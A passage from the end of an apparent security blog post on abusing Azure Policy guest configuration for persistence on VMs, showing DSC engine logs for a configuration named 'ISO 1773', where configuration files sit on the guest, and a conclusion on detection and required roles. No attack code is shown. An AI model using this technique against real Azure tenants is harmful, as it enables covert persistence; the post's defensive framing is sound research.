[2022-01-04 21:43:55.484] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Applying configuration from C:\ProgramData\GuestConfig\Configuration\ISO 1773\\MetaConfig.tmp.mof.
[2022-01-04 21:43:55.484] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Getting Metaconfiguration details.
[2022-01-04 21:43:55.484] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Module manager is loading instance document from location C:\ProgramData\GuestConfig\Configuration\ISO 1773\\MetaConfig.tmp.mof
[2022-01-04 21:43:55.499] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Validating instance document.
[2022-01-04 21:43:55.499] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Parsing the configuration to apply.
[2022-01-04 21:43:55.499] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Method SendConfigurationApply started with parameters

Configuration is published successfully and a timer for local remediation is created. The timer interval is 15 minutes.

692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
[2022-01-04 21:43:56.102] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Deleting file from C:\ProgramData\GuestConfig\Configuration\ISO 1773\\DSCEngineCache.mof
[2022-01-04 21:43:56.102] [PID 3248] [TID 1228] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job ff6965a9-0b49-42ce-ab53-ef70bc888569 : Method CU_SendConfiguration ended successfully
[2022-01-04 21:43:56.103] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publish configuration completed successfully.
[2022-01-04 21:43:56.109] [PID 3248] [TID 3952] [DSCEngine] [INFO] [00000000-0000-0000-0000-000000000000] Job  : LCM has released the resource state cache.
[2022-01-04 21:43:56.109] [PID 3248] [TID 3952] [ASSIGNMENT_OPERATIONS] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] End publishing configuration 'ISO 1773'.
[2022-01-04 21:43:56.109] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publishing assignment checksum : configuration_name = ISO 1773, checksum_path = C:\ProgramData\GuestConfig\downloads\ISO 1773\ISO 1773.checksum
[2022-01-04 21:43:56.110] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publish assignment checksum completed successfully.
[2022-01-04 21:43:56.110] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publishing assignment metaconfig file : configuration_name = ISO 1773, metaconfig path = C:\ProgramData\GuestConfig\downloads\ISO 1773\ISO 1773.metaconfig.json
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [Engine] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publish assignment metaconfig json completed successfully.
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [ASSIGNMENT_OPERATIONS] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Publish assignment completed successfully.
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [GC_TIMER_OPERATIONS] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Executing gc_timer_operations::create_timer ISO 1773
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [Timer Manager] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Created a timer for 'ISO 1773'
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [GC_TIMER_OPERATIONS] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] gc_timer_operations::create_timer ISO 1773 completed successfully.
[2022-01-04 21:43:56.111] [PID 3248] [TID 3952] [Assignment Manager] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Created timer for assignment 'ISO 1773' with interval '15'
[2022-01-04 21:43:56.112] [PID 3248] [TID 3952] [Assignment Manager] [INFO] [ff6965a9-0b49-42ce-ab53-ef70bc888569] Removing assignment 'ISO 1773' from temporary path 'C:\ProgramData\GuestConfig\downloads\ISO 1773'.

GCS Configuration

The configurations applied to the guest can be found in this directory C:\ProgramData\GuestConfig\Configuration\.

In our case the configuration folder is named ISO 1773.

/azure-persistence-azure-policy-guest-configuration/images/Folder-ISO1773.png

The current state of the configuration changes can be viewed in the DSCResourceStateCache.mof. InDesiredState should be True.

/azure-persistence-azure-policy-guest-configuration/images/DSCResourceStateCache.mof.png

While the mof file that is downloaded is in plain text, when it is applied locally the file Current.mof will only include an encrypted version of those information.

As local administrator I was not able to use a modified version of Unprotect-xDscConfiguration.ps1 to decrypt the data.

Conclusion

You can misuse Azure Policy guest configuration in the same ways you could misuse DSC in the past. But still this is a very noisy attack because every step is audited and logged. Since you can’t delete the audit trail in Azure it is hard to hide.

But in any environment that uses Azure Policy Guest Configuration already, it’s easy to blend in. Since multiple guest configurations can be applied at the same time it might be hard to figure out which one is the bad apple.

As a defender it is something to look out for. Since the attacker needs the Owner or Resource Policy Contributor role to create the necessary artifacts it is not an easy attack, but one that could break the barrier between cloud and on premises.

Attribution

I was inspired by @DebugPrivilege tweet about DSC and Azure VMs and so started my walk down the rabbit hole.

Hacker Cat designed by OpenMoji – the open-source emoji and icon project. License: CC BY-SA 4.0